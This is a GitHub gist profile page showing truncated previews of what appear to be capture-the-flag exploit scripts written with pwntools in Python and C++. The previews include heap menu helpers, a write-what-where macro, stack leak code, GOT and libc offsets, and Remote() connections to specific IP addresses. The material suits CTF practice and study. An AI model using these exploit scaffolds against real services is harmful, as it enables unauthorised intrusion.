Skip to content

Instantly share code, notes, and snippets.

View hkraw's full-sized avatar

Harsh khuha hkraw

View GitHub Profile
#!/usr/bin/python3
from pwn import *
from past.builtins import xrange
from time import sleep
import random
import subprocess
def PID():
print(subprocess.check_output(['pidof','still-printf']))
#include "gadgets.h"
#include <iostream>
#include <pwntools>
#include <stdint.h>
#include <string>
#include <sys/time.h>
#include <vector>
#define www(where, what) \
io->sendlineafter("n = ", "-1"); \
#include <iostream>
#include <pwntools>
#include <stdint.h>
#include <string>
#include <sys/time.h>
#include <vector>
using namespace pwn;
class Hack {
#include <iostream>
#include <pwntools>
#include <stdint.h>
#include <string>
#include <sys/time.h>
#include <vector>
using namespace pwn;
void play(Remote *io) {
#include <pwntools>
#include <string>
#include <vector>
#include <iostream>
using namespace pwn;
//auto io = Process("./a.out");
auto io = Remote("65.1.92.179", 49155);
void add(uint32_t idx, uint32_t size, const std::string& bytes) {
from pwn import *
from time import sleep
def add(index,size,data):
io.sendline("1")
io.sendline(str(index))
io.sendline(str(size))
io.sendline(data)
def edit(index,data):
io.sendline("2")
from pwn import *
if __name__ == "__main__":
io = process("./a.out")
io.sendlineafter("age: ","+")
io.sendlineafter("n]: ","y")
io.recvuntil("is ")
stack_leak = int(io.recvuntil(",")[0:-1], 10)
print(f"[+] Stack Leak: {hex(stack_leak)}")
#include <iostream>
#include <pwntools>
#include <string>
#include <vector>
using namespace pwn;
uint64_t strlen_got = 0x409068;
uint64_t libc_strlen = 0x18b660;
@hkraw
hkraw / fs-1.cc
Created February 20, 2021 20:22
#include <iostream>
#include <pwntools>
#include <string>
#include <vector>
using namespace pwn;
// auto io = Process("./FS-1");
auto io = Remote("13.126.21.122", 49160);
void add(uint32_t idx, uint32_t size, const std::string &data,
from pwn import *
def add(idx, size, data,s='\n'):
io.sendlineafter("exit"+s,"1")
io.sendlineafter("index: ",str(idx))
io.sendlineafter("size: ",str(size))
io.sendafter("input: ",data)
def edit(idx, data,s="\n"):
io.sendlineafter("exit"+s,"2")